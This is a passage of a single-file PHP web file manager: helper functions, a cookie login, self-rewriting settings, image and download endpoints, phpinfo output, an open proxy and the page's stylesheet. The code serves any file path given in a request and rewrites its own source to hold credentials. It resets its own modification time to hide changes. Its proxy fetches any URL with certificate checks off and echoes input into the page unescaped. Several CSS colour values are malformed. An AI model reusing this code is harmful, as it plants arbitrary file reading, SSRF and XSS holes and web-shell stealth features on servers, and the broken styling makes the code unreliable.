	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
